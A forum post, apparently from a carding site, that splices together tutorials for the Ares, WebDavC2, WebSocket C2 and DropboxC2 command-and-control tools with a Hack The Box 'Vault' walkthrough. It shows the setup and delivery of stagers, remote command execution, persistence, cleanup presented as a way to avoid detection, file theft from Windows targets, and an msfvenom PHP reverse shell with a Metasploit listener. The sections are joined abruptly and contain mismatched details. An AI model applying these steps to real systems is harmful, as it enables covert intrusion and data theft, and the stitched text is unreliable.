![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NvpDUnOnBK8/XLVtQ5JPxwI/AAAAAAAAeCs/MTgRCBWiGDQ79fvSRPjuSGfdZBYt6-0CgCLcBGAs/s1600/9.png?w=687&ssl=1)
Here we have the main index of the Ares GUI. It has the following links: Change Password, Disconnect, Agent List. Now, we will go back to the step where we created an agent. Only after we execute the agent on the target machine, we will get a line Agent in Agent List.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-wmbiPBK3a0g/XLVtLeDDehI/AAAAAAAAeBw/8PONTQH7wXQiic3yw9MZhArObw0tjBR0ACLcBGAs/s1600/10.png?w=687&ssl=1)
As we can see the image given below, that we have an agent alive. We have the name of the agent, status, user that was logged in when the agent went live, we have the hostname too. We are also informed about the IP Address and Operating System of the target. Here we could run the agent on multiple devices each one of them will be visible here. We can select sessions from here and execute the same command on multiple session at the same time. We will have to click on the name to proceed.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-H-v5-GKkhqU/XLVtLXgMSsI/AAAAAAAAeB0/VO0Mk25gUg82qKBUbqAqO2TDI9hm3IX3gCLcBGAs/s1600/11.png?w=687&ssl=1)
Command Execution
As Ares runs the Power Shell commands, let’s start with the System Information command. As we can see that we have all the system config information of the target machine.
systeminfo
1
systeminfo
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kUmUoDKqsFw/XLVtMfQWFRI/AAAAAAAAeB4/sEbJjgjB420VgphEfWff1v2CJkJtOzfqgCLcBGAs/s1600/12.png?w=687&ssl=1)
Capturing Screenshot
Now, Let’s take a screenshot of the target machine. To do this we will type in the screenshot command and the agent will capture the screenshot and provide a link as shown in the figure. On opening this link the screenshot can be viewed.
screenshot
1
screenshot
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-X4l-Hh5_3Xk/XLVtMpDtdTI/AAAAAAAAeB8/ud21LxQbQF8OqHVKwP5A2uBbxHsXNpoyQCLcBGAs/s1600/13.png?w=687&ssl=1)
File Download
We can also download files from the remote target using this agent. To do this we require the name of the file. This can be obtained using the dir command. Now once we have the filename, we will download it to our local attacker machine as shown in the image given below.
download file.txt
1
download file.txt
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-ADpAEk4Gayw/XLVtM5q7CwI/AAAAAAAAeCA/Z_7Eht_zuFU7bRQ6NwimsU_0G0f4RStvACLcBGAs/s1600/14.png?w=687&ssl=1)
Compressing Files
We can compress a directory on the remote target using the Ares agent. For this, we require the name of the directory. After we extract the name of the directory, we can compress the file remotely using the command given below. Here, we have ‘sample’ the name of the directory and ‘compressed.zip’ the name of the compressed file.
zip compressed.zip sample
1
zip compressed.zip sample
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-87Ip3m_wUd4/XLVxhvSMnRI/AAAAAAAAeDI/oFr9_CZ0im82p01Yqk-79-4QAsAyzKoIQCLcBGAs/s1600/15.png?w=687&ssl=1)
Persistence Agent
We could invoke the persistence in the agent using the command persist. This command installs the agent on the remote target.
persist
1
persist
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-FGC6wcks2B4/XLVtNBpuzeI/AAAAAAAAeCI/r3UiK_SYg8Qmd59RRhK1wj6MLcXdycjdwCLcBGAs/s1600/16.png?w=687&ssl=1)
Clean Up
This tool also performs the clean up after the work through the session Is done. This command removes the agent from the target machine. Hence it goes on undetectable.
clean
1
clean
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-saT0FaUQ7w0/XLVtNtdsDLI/AAAAAAAAeCM/D47bxjHr-VslCUjDj-bHczzRxJIeoiRHgCLcBGAs/s1600/17.png?w=687&ssl=1)
In this article, we will learn how to use WebDav C2 tool.
Table of Content:- Introduction
- Installation
- Exploiting Target
- Command Execution
Introduction
WebDavC2 uses the WebDAV protocol with PROPFIND only requests to serve as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to [To see content please register here] .
WebDavC2 is composed of a controller, which acts as the C2 server. It also comprises of an agent, written in C#/.Net, running on the target system. It is delivered to the target system via various initial stagers. It also consists of various types of initial stagers (created on the fly when the controller starts) used for the initial compromisation of the target system.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-43m_z-edtRM/XLLlZejnpcI/AAAAAAAAeA0/MCkdClhT_-QWe1Ve4KTT4w2id-v6teyfgCLcBGAs/s1600/1.png?w=687&ssl=1)
After running the above command, we would have a directory created by the name of WSC2. Now, we will traverse inside that directory using the cd command. Let’s see the contents of the directory that we just cloned using the ls command.
cd WebDavC2/
ls
chmod +x webdavC2.py
1
2
3
cd WebDavC2/
ls
chmod +x webdavC2.py
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FehtpKlr0Ek/XLLlZKDB_iI/AAAAAAAAeAs/OW69asvIEdMiTngSz25KElWZ-1BispxZQCLcBGAs/s1600/2.png?w=687&ssl=1)
Exploiting Target
As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this it will create multiple stagers in Batch, Macro and Jscript as shown in the figure below. It also starts an WebDav Server at the IP provided at port 80.
python webdavC2.py
1
python webdavC2.py
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-LiBqQwk7uVc/XLLlZB7ELLI/AAAAAAAAeAw/MXgjo2GdKFYMWZ5Ch-Xzz6tFLAtE6OAAQCLcBGAs/s1600/3.png?w=687&ssl=1)
Now we have to send the files to the target. For this we will open a new terminal and traverse inside the stagers directory. Here as we can see that we have multiple stagers. Let’s try to open the batch file, here we see that the PowerShell batch file in encrypted. Now we will sent these stagers to the target using the python server.
cd stagers/
ls
cat stager.bat
python -m SimpleHTTPServer 80
1
2
3
4
cd stagers/
ls
cat stager.bat
python -m SimpleHTTPServer 80
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-SdNGSQaCd54/XLLlaMjfI_I/AAAAAAAAeA8/UJMLeBUf4Dw82DP6fVIDmSXV9H0xavsdgCLcBGAs/s1600/4.png?w=687&ssl=1)
Command Execution
After the stager is executed, we are provided with a prompt to run commands. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.
systeminfo
1
systeminfo
|
|
|
|
| [Guide] How to Command & Control: WebSocket C2 |
|
Posted by: NINZA - 05-14-2020, 12:02 PM - Forum: Carders Home
- No Replies
|
 |
In this article, we will learn how to use WebSocket C2 tool. It is also known as WSC2.
Table of Content: - Introduction
- Installation
- Exploiting Target
- Command Execution
- File Download
Introduction
WSC2 is primarily a tool for post-exploitation. WSC2 uses the WebSocket and a browser process. This serves as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to [To see content please register here] .
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone //github.com/Arno0x/WSC2.git
1
git clone //github.com/Arno0x/WSC2.git
![[Image: 1.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-msKvxO8Zo8s/XLLPni9rrPI/AAAAAAAAd_c/89v7lk2mnYURaPv_E71rVtxcskzLWbsnQCLcBGAs/s1600/1.png?w=687)
After running the above command, we would have a directory created by the name of WSC2. Now, we will traverse inside that directory using the cd command. Let’s see the contents of the directory that we just cloned using the ls command.
cd WSC2/
ls
1
2
cd WSC2/
ls
![[Image: 2.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-1kUgW4ani6Y/XLLPojDqbWI/AAAAAAAAd_s/GlIBX0Gm0a0a1hW1zPT3xkE408W9Ja4ywCLcBGAs/s1600/2.png?w=687)
After that we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 3.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-lcfJTvIKal0/XLLPotwEl0I/AAAAAAAAd_w/Jq0XaMIN6XMdKJru548GbznZRoVPhSgjACLcBGAs/s1600/3.png?w=687)
As we saw earlier that we have a config.py file inside the cloned directory. We have to make some changes inside this config.py file so as to get the session on our system. We used nano to edit the file. As shown in the figure, when we opened the config.py file using nano, we found a variable CALLBACK. It has an IP Address. We changed it to the IP Address of our Attacker Machine i.e Kali Linux.
nano config.py
1
nano config.py
![[Image: 4.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-qkkUMTtO8hw/XLLPpfJANCI/AAAAAAAAd_0/qmvERIIE3IcHRc_61jv2h_iINLs_DwbewCLcBGAs/s1600/4.png?w=687)
Exploiting Target
Now, it’s time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.
./wsc2.py
1
./wsc2.py
![[Image: 5.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-eD3eW_bwuxw/XLLPpXl0G5I/AAAAAAAAd_4/3N8dTc0_CfojSKQVWpm__Wozp-9Z985yQCLcBGAs/s1600/5.png?w=687)
We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in jscript1, jscript2, jscript3. We are using jscript1 here because it is not required to compile. Rest of the stagers are required to compile. This command will create a wsc2Agent1.js in stagers directory.
genStager jscript1
1
genStager jscript1
![[Image: 6.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-k825eeg2lvY/XLLPpl0a9dI/AAAAAAAAd_8/MJ-A9oEBkqogNam9upFeAvK-cCLybyOqgCLcBGAs/s1600/6.png?w=687)
Now let’s get the file to the target machine. To do this we will open up a new terminal and traverse into the stagers directory using the cd command. Here, we are using the python server to share the file to the target. This can be done using any other method of choice.
cd stagers/
ls
python -m SimpleHTTPServer 80
1
2
3
cd stagers/
ls
python -m SimpleHTTPServer 80
![[Image: 7.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-SjXy33E65Tc/XLLPqUZfyLI/AAAAAAAAeAA/XAxrxNleS2g1v3vFxRQWXVglZpBgJKW1ACLcBGAs/s1600/7.png?w=687)
After the jscript file is executed on the target machine, we will be informed with a message on the terminal that New agent connected. Now we will use the list command to see the list of the agents.
list
1
list
![[Image: 8.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-pHQvT8agSVM/XLLPqhw-TxI/AAAAAAAAeAI/nSfdEn0UoCMwIpAuw9pKMHQfqJMbAvINwCLcBGAs/s1600/8.png?w=687)
And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
use [AgentID]
1
use [AgentID]
![[Image: 9.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-XajBdI062yI/XLLPqVcaDpI/AAAAAAAAeAE/rcIeOUR-908vNrL0tagRnlrBWdjn2GyeACLcBGAs/s1600/9.png?w=687)
Command Execution
We can run some PowerShell commands on the target machine using the command cli. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.
cli
systeminfo
1
2
cli
systeminfo
![[Image: 10.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-IuK_Drn8lrQ/XLLPniQGEXI/AAAAAAAAd_g/eUo_8z4pZq8gA6jx4G4j9EBA2tL7mh5cwCLcBGAs/s1600/10.png?w=687)
File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
help getFile
getFile sample_text.txt
1
2
help getFile
getFile sample_text.txt
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-uiFwbJBF_7k/XLLPnn0Yj6I/AAAAAAAAd_k/PAs6eXcyq2kXoIXTbVFP5GkRrCMO6O-EgCLcBGAs/s1600/11.png?w=687)
The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cd incoming/
ls
cat sample_file.txt
1
2
3
cd incoming/
ls
cat sample_file.txt
![[Image: 12.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-wH97PCLxEQQ/XLLPolQTbrI/AAAAAAAAd_o/2a49Kh0ajn0BBALaNcGy2PMpITMzb7KKwCLcBGAs/s1600/12.png?w=687)
Today we are going to solve another CTF challenge “Vault”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Curling is 10.10.10.109
Penetrating Methodology- Network scanning (Nmap)
- Surfing the IP address on the browser
- Surfing directories on the browser
- Using dirb for directory scanning
- Creating Payload using msfvenom
- Getting Meterpreter Session
- Enumerating through directories
- Getting SSH login credentials
- Logging into SSH
- Pinging Host IP
- Scanning Ports on Host IP
- Dynamic Port forwarding with SSH
- Updating the VPN Configuration file
- Executing Netcat listener
- Finding user.txt
- Getting SSh Login Credentials
- Using the proxy command option
- Escaping restricted shell
- Using gpg to decrypt root.txt.gpg file
- Converting the file in the base64 string using python3m
- Using echo to decrypt the string
- Reading our Root Flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV -sC 10.10.10.109
1
nmap -p- -sV -sC 10.10.10.109
![[Image: 1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-1hBD2-Ae1kw/XLHoEv7_irI/AAAAAAAAd88/9svoJsoJIGch2mOb0OdSx_JiWcLAqrfPgCLcBGAs/s1600/1.png?w=687)
As port 80 is running HTTP service, we open the IP address in the web browser.
![[Image: 2.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-8zsScXbzE3Q/XLHoHHsLbMI/AAAAAAAAd9k/hkb_rvvEmC008G9qoNyYZM5eDaGm5jLQgCLcBGAs/s1600/2.png?w=687)
We thought of opening sparklays in the browser along with the Machines IP. But it turned out to be forbidden.
![[Image: 3.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-xEgcU8Qbvm4/XLHoKR7L1eI/AAAAAAAAd-Q/FHSBbPuy8t85GFV2CqatB-Tay7YUDNYSgCLcBGAs/s1600/3.png?w=687)
We don’t find anything on the web page, so we further enumerate the web service using dirb scan.
dirb //10.10.10.109/sparklays/ -w
1
dirb //10.10.10.109/sparklays/ -w
![[Image: 4.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-z5CEkFDCd58/XLHoLHQ2PcI/AAAAAAAAd-c/5PYbFGbNQd0EPJ6PJRz9YnlIwxwj_XSiACLcBGAs/s1600/4.png?w=687)
From dirb scan, we found a useful directory /design/design.html which we opened in the browser. Since the only thing left to do on this Page is to click on Change Logo.
![[Image: 5.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-vKL2YNDBO0Q/XLHoLhPQdkI/AAAAAAAAd-g/XLauWyb-3GgXW738mABUuNy0mFbS1YI2ACLcBGAs/s1600/5.png?w=687)
It redirected us on a File Upload Page.
![[Image: 6.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-fxnRgeVzx88/XLHoMMnlBGI/AAAAAAAAd-k/7jtBGHcpEqs1f0A0N6kSGysctnio9A29gCLcBGAs/s1600/6.png?w=687)
Now we have used msfvenom to generate malicious PHP file.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5
![[Image: 7.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-qTXObCWiEp4/XLHoMhWYK-I/AAAAAAAAd-o/rafj912n8ykvPQVsfhxz73B6wa-qQEPcgCLcBGAs/s1600/7.png?w=687)
We have successfully uploaded the malicious file.
![[Image: 8.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/--oEP708YPSQ/XLHoNJd5USI/AAAAAAAAd-s/QqloBZeeIvUbxwzD6N9YgEHU-3wcO49_ACLcBGAs/s1600/8.png?w=687)
On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run
![[Image: 9.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Fxpge_0cAt8/XLHoNaEX8pI/AAAAAAAAd-w/lzAhqKH4wSQZc892-R0RLRGA-kar4Hj8QCLcBGAs/s1600/9.png?w=687)
Let’s open our malicious file using the browser.
![[Image: 10.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Sl2I9IJFCVk/XLHoEhi4NfI/AAAAAAAAd9E/6RMe3Xi0yjkiMZ13nDGzrLyCCQtd5GPXQCLcBGAs/s1600/10.png?w=687)
Finally, we have got the meterpreter.
sysinfo
1
sysinfo
![[Image: 11.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5nEcnDHnW4Y/XLHoEiiTzgI/AAAAAAAAd9A/aa3buCkjifMZpadnys4LMihPsxQIKYBfwCLcBGAs/s1600/11.png?w=687)
While looking for our first flag, we have some useful credential for ssh login.
Username- dave
Password- Dav3therav3123
cd Desktop
ls -al
cat Servers
cat key
cat ssh
1
2
3
4
5
cd Desktop
ls -al
cat Servers
cat key
cat ssh
![[Image: 12.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-17q3EDAK0a4/XLHoFdYtv_I/AAAAAAAAd9I/ogZY5Oy0ji0RQaTvxVuFcqQ7L5b3KjDngCLcBGAs/s1600/12.png?w=687)
Time to login into ssh.
Username- dave
Password- Dav3therav3123
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-qKEqrnzfCVk/XLHoFpS4-jI/AAAAAAAAd9M/H5sKShlZLAw0NVzMCAimO7DjbSzOSzVYgCLcBGAs/s1600/13.png?w=687)
We use the ping command to find all the available machines on the subnet “192.168.122.1/255”.
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done
1
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done
![[Image: 14.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Fl-ZusYOOUU/XLHoFwm-UxI/AAAAAAAAd9Q/gn-mk3uFSIUPe-iYv5d8z9TS1kqKXnb7ACLcBGAs/s1600/14.png?w=687)
Let’s use the following command to scan the ports of 192.168.122.4 to see what we are up against.
![[Image: 15.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-ZTR83Km9wiE/XLHoGOUnaoI/AAAAAAAAd9U/TWzvN6PuK68gdEsn_gl-YAqAGXsdu68GgCLcBGAs/s1600/15.png?w=687)
Now connect to the client machine using the command below.
ssh -D 8080 [email protected]
1
ssh -D 8080 [email protected]
Password- Dav3therav3123
![[Image: 16.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-FDP46T3Vv0Y/XLHoGQcqNWI/AAAAAAAAd9Y/IE689yOmwKUeZctopMDHCq1ShH6c-RBxwCLcBGAs/s1600/16.png?w=687)
The proxy on the browser is set up to point to socks5://127.0.0.1:8080.
Let’s open the IP 192.168.122.4 in the browser. And see where it directed us. Click on VPN Configuration link.
![[Image: 17.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-CPCUoLrqt4c/XLHoG3qT6hI/AAAAAAAAd9c/zjX9Swbbdc8yPef7jbol4n-21Qg2lgd_QCLcBGAs/s1600/17.png?w=687)
It directed us to the page where we need to update the VPN file. We have found the details in Test VPN link.
![[Image: 18.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-TWgoK544dQE/XLHoHIv7b-I/AAAAAAAAd9g/3wbfNE95st4V1du3Jaq7KqkGT8le8gA9QCLcBGAs/s1600/18.png?w=687)
Simply we have pasted and modified the details in which we have given the IP address of the Target Machine along with port 1234. Click on update file.
![[Image: 20.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-G-u_4IPF9xo/XLHoH0qERwI/AAAAAAAAd9s/pVhQr93CM5gIXO1XxZe2eUGd0rLqlMuJACLcBGAs/s1600/20.png?w=687)
On the other hand, we have executed listening on port 1234.
nc -lvp 1234
1
nc -lvp 1234
We have easily got the root access. Enumerating directories to find user.txt.
cd /root
ls
ls -al
1
2
3
cd /root
ls
ls -al
![[Image: 21.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-jG6X-5xOmmU/XLHoH5pMKeI/AAAAAAAAd9o/8XaT0Go5EogCZ-cUOYvhOnoRab_XydzQQCLcBGAs/s1600/21.png?w=687)
After some digging, we have found our first flag.
ls
cd dave
ls
cat user.txt
1
2
3
4
ls
cd dave
ls
cat user.txt
![[Image: 22.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-8mhvE6Hrdqs/XLHoH60mhFI/AAAAAAAAd9w/BfY-dsFy-7MSSFkMepX9Hwqsv5enUE6-wCLcBGAs/s1600/22.png?w=687)
Now we thought of reading the logs, we were totally out of hints. While looking at the logs we found something interesting. We saw that the firewall is accepting inbound traffic from port 4444/tcp to host 192.168.5.2 which is listening at 987/tcp.
So, to find out, what’s running on 987/tcp. Use the following command.
ncat -p 4444 192.168.5.2 987
1
ncat -p 4444 192.168.5.2 987
It came out be SSH service.
![[Image: 23.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-GSFhW09wJXc/XLHoIl6H8zI/AAAAAAAAd90/WG8jpeXLTq0tjXD4GkfRCx5LX_mJlZxUACLcBGAs/s1600/23.png?w=687)
We again found Credentials for SSH Login.
Username- dave
Password- dav3gerous567
cat ssh
1
cat ssh
![[Image: 24.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-w1Lk_A3_9Jo/XLHoI0A_3hI/AAAAAAAAd94/BVaUyq73ksc9DR5R--vsfxuAorJxYPJ8QCLcBGAs/s1600/24.png?w=687)
What are we waiting for, time to log into SSH, here we again found User.txt.
ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL] Register or Login
Password- dav3gerous567
ls
cat user.txt
1
2
ls
cat user.txt
![[Image: 25.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-LDQ3z2NxnTI/XLHoJDQqQ7I/AAAAAAAAd98/Hl_oPsuTi2w6DuRghv4tRaZ54TpI4VH5wCLcBGAs/s1600/25.png?w=687)
Since dave has a restricted default shell, so we are using proxy command to re-login.
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]
1
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]
![[Image: 26.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-SvoUppAj6rk/XLHoJYDE1hI/AAAAAAAAd-A/fCT8ApnzIuE082miG2VuwQFPodvkp1QdgCLcBGAs/s1600/26.png?w=687)
After logging in as user “monitor” we find that we have a restricted shell. We are not able to change the SHELL variable. After spawning a TTY shell, we are able to change the SHELL environment variables.
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL
1
2
3
4
5
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Rsq64tuA-iQ/XLIWh2XNGWI/AAAAAAAAd_Q/t19Q77GEDlwDni309aVY1yYdeNlbywYiwCLcBGAs/s1600/27.png?w=687&ssl=1)
We tried decrypting the file root.txt.png but couldn’t succeed. Since it requires a secret key.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg
![[Image: 28.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-bJcj5BVYo2A/XLHoKC-g34I/AAAAAAAAd-I/wFmDCzuhe5AhmpHbTj5ZDLPRYmBpG1NwgCLcBGAs/s1600/28.png?w=687)
There are not many options left, let’s convert into a base64 encoded string using python3m.
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"
1
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"
![[Image: 29.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-k3LzBBXymWE/XLHoKdHp5iI/AAAAAAAAd-M/mFhqhhnwII0jog1FT7eNGG8viMAYiSwFACLcBGAs/s1600/29.png?w=687)
We have copy & pasted the encoded string to the ubuntu machine and decrypted it. Since we have found the paraphrase ‘itscominghome’ we can easily open the file root.txt.gpg to read our final flag.
![[Image: 30.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-inB_fSoFHkE/XLHoK_l4LkI/AAAAAAAAd-U/1hj0djQZla4jafwvv5I0GQ-yQsMwDdGEwCLcBGAs/s1600/30.png?w=687)
Finally, we have read our Final Flag.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg
![[Image: 31.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-R1w5izsiypU/XLHoLAvLPNI/AAAAAAAAd-Y/XrHN6jNtqCU4A3j3VsV2y0Q2cVaFZspzACLcBGAs/s1600/31.png?w=687)
In this article, we will learn how to use DropboxC2 tool. It is also known as DBC2.
Table of Content:- Introduction
- Installation
- Getting Dropbox API
- Exploiting Target
- Sniffing Clipboard
- Capturing Screenshot
- Command Execution
- File Download
Introduction
DBC2 is primarily a tool for post-exploitation. It has an agent running on the target’s machine, a controller, running on any machine, PowerShell modules, and Dropbox servers as a means of communication. It is inspired by the PowerShell Empire Framework. This tool is developed using python. The credit for developing this tool goes to [To see content please register here] .
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first, we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-FIgdVauBSkw/XLACGTOg-gI/AAAAAAAAd7Y/O_DPgPes3CoaNNjZGnx6tSJkK9GWXQmWACLcBGAs/s1600/1.png?w=687&ssl=1)
After running the above command, we would have a directory created by the name of DBC2. Now, we will traverse inside that directory using the cd command. After that, we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
cd DBC2/
pip install -r requirements.txt
1
2
cd DBC2/
pip install -r requirements.txt
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-PIH6Aenq_Bc/XLACJmm5K2I/AAAAAAAAd8A/17CpMV1bPBsyXVg-ieN4gWfo6yeld1TogCLcBGAs/s1600/2.png?w=687&ssl=1)
Getting Dropbox API
Now, this tool uses the Dropbox Servers as the medium to run agents on the target machine. In order to do that, this tool requires a Dropbox API. To get that, first, create an account on [To see content please register here] . Then after creating the account, head to developer tools [To see content please register here] . A webpage will open similar to the one shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose “App folder”. Name the app as per choice. Then click on Create App Button to proceed.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-aZfoZNb3aUk/XLACJ7r6vzI/AAAAAAAAd8E/VdAO51GHb_Q8l5qDRPadiWLVZsYAR80RwCLcBGAs/s1600/3.png?w=687&ssl=1)
This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-y7LK_Mi0aU0/XLACKW2j0FI/AAAAAAAAd8I/LUV6gsAAnOkFKhOGWtkAqrahsmWYhwO9gCLcBGAs/s1600/4.png?w=687&ssl=1)
Copy the Generated access token, now get to the directory we cloned earlier. Here we have a file named config.py. We will open it using nano command and paste the Access token as the value for “defaultAccessToken” as shown in the given screenshot given below.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-RRlsuqlRX9A/XLACKsn5XRI/AAAAAAAAd8M/KEtBT5C8wmA3ML2baOFAUfoY8D3t2bthQCLcBGAs/s1600/5.png?w=687&ssl=1)
Exploiting Target
Now, it’s time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will ask for a master password which will be used to encrypt all the data between the agents and the controller. Enter the password of choice. It will encrypt the password entered and display the result. We can copy the code shown and add to the config.py file so that it doesn’t ask again for a master password. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.
python dropboxC2.py
1
python dropboxC2.py
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-VYANON8MyZM/XLACK1GA8NI/AAAAAAAAd8Q/jEpl64Gfccwo5eKEwllyan19s6rLR7FqwCLcBGAs/s1600/6.png?w=687&ssl=1)
This tool requires to upload the modules and stager on Dropbox before proceeding further. We will do this using the command given below.
publishStage dbc2_agent.exe
1
publishStage dbc2_agent.exe
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-evdLTkaieL4/XLACLTCqkcI/AAAAAAAAd8Y/zqQyf_eFdW8Z8b2JtPY6dr6-IPgiPY8aQCLcBGAs/s1600/7.png?w=687&ssl=1)
This will upload a file on the Dropbox as shown in the image given below. This file is encrypted using XOR encryption.
